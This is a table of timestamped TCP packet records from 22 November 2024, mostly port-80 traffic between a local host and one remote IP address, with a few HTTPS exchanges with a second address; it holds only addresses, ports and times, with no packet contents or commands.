Nov 22, 2024 04:12:14.971199989 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.971242905 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.971290112 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.972021103 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.972069979 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.972125053 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.972168922 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.972913027 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.972961903 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.973006010 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.973053932 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.973809004 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.973855972 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.973891973 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.973938942 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.974678993 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.974723101 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.974772930 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.974821091 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.975560904 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.975608110 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.975658894 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.975708008 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.976450920 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.976501942 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.976547003 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.976596117 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.977340937 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.977390051 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.977433920 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.977483034 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.978226900 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.978338957 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.978394985 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.979104042 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.979208946 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.979269981 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.979975939 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.980031967 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.980077028 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.980885029 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.980946064 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.980998039 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.981764078 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.981817961 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.981873035 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.981925964 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.982646942 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.982752085 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.982803106 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.983537912 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.983632088 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.983679056 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.984435081 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.984487057 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.984539032 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.985318899 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.985378981 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.985421896 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.985475063 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.986167908 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.986305952 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.986354113 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.987097979 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.987211943 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.987266064 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.987951994 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.988003969 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.988049030 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.988851070 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.988898993 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.988980055 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.989759922 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.989799976 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.989810944 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.989845037 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.990598917 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.990724087 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.990773916 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.991506100 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.991604090 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.991652012 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.992428064 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.992495060 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.992527962 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.993258953 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.993323088 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.993367910 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.994160891 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.994224072 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.994256973 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.994316101 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.995021105 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.995141029 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.995203972 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.995939016 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.995958090 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.996023893 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.996857882 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.996913910 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.997021914 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.997694016 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.997747898 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.997997046 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.998590946 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.998646975 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.998681068 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.998724937 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.999447107 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.999564886 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.999617100 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.000338078 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.000448942 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.000504017 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.001234055 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.001352072 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.001404047 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.002111912 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.002208948 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.002259016 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.003000975 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.003120899 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.003190994 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.003875971 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.003942013 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.003962040 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.004018068 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.004753113 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.004806995 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.004857063 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.004908085 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.005655050 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.005707026 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.005801916 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.005851030 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.006530046 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.006583929 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.006633997 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.006685019 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.007410049 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.007486105 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.007503033 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.007556915 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.008033991 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.008088112 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.008133888 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.008183002 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.008935928 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.008985996 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.009028912 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.009078979 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.009812117 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.009876966 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.009911060 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.009958982 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.010668039 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.010751009 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.060765982 CET	443	49770	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:15.061414003 CET	49770	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:15.061453104 CET	443	49770	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:15.061896086 CET	49770	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:15.061908007 CET	443	49770	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:15.165699959 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.165771008 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.165962934 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.166013956 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.166075945 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.166120052 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.166169882 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.166218996 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.166954994 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.167004108 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.167131901 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.167836905 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.167887926 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.167937040 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.168716908 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.168761015 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.168828011 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.168878078 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.169611931 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.169714928 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.169764042 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.170489073 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.170603037 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.170666933 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.171369076 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.171488047 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.171533108 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.172259092 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.172310114 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.172375917 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.173162937 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.173213005 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.173284054 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.174036026 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.174091101 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.174118996 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.174168110 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.174916029 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.175025940 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.175049067 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.175084114 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.175796986 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.175846100 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.175896883 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.175944090 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.176673889 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.176722050 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.176779985 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.176827908 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.177563906 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.177613974 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.177683115 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.177731991 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.178442955 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.178492069 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.178505898 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.178549051 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.179333925 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.179440975 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.179487944 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.180202961 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.180319071 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.180368900 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.181113958 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.181163073 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.181222916 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.182003975 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.182050943 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.182084084 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.182883978 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.182933092 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.182981968 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.183034897 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.183753967 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.183880091 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.183943033 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.184639931 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.184750080 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.184812069 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.185535908 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.185585022 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.185642958 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.186408043 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.186460018 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.186506033 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.186558008 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.187283993 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.187397003 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.187444925 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.188169956 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.188277960 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.188323975 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.189058065 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.189109087 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.189152956 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.189960957 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.190012932 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.190047979 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.190824986 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.190875053 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.190924883 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.190973043 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.191709042 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.191813946 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.191863060 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.192590952 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.192725897 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.192784071 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.193521976 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.193572998 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.193646908 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.194381952 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.194432974 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.194467068 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.195048094 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.195234060 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.195352077 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.195395947 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.196141005 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.196260929 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.196305990 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.197045088 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.197097063 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.197125912 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.197918892 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.197968960 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.198012114 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.198792934 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.198842049 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.198875904 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.198923111 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.199675083 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.199774981 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.199825048 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.200563908 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.200634003 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.200680971 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.201459885 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.201509953 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.201555014 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.202344894 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.202398062 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.202442884 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.203048944 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.203219891 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.203325987 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.203378916 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.204106092 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.204205990 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.204257011 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.204991102 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.205040932 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.205085039 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.205883980 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.205934048 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.205974102 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.206751108 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.206803083 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.206830978 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.206877947 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.207672119 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.207799911 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.207849026 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.208508968 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.208587885 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.208641052 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.209161997 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.209212065 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.209254980 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.210067034 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.210117102 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.210117102 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.210923910 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.210972071 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.211019993 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.211786032 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.211838007 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.369291067 CET	80	49760	31.41.244.11	192.168.2.4
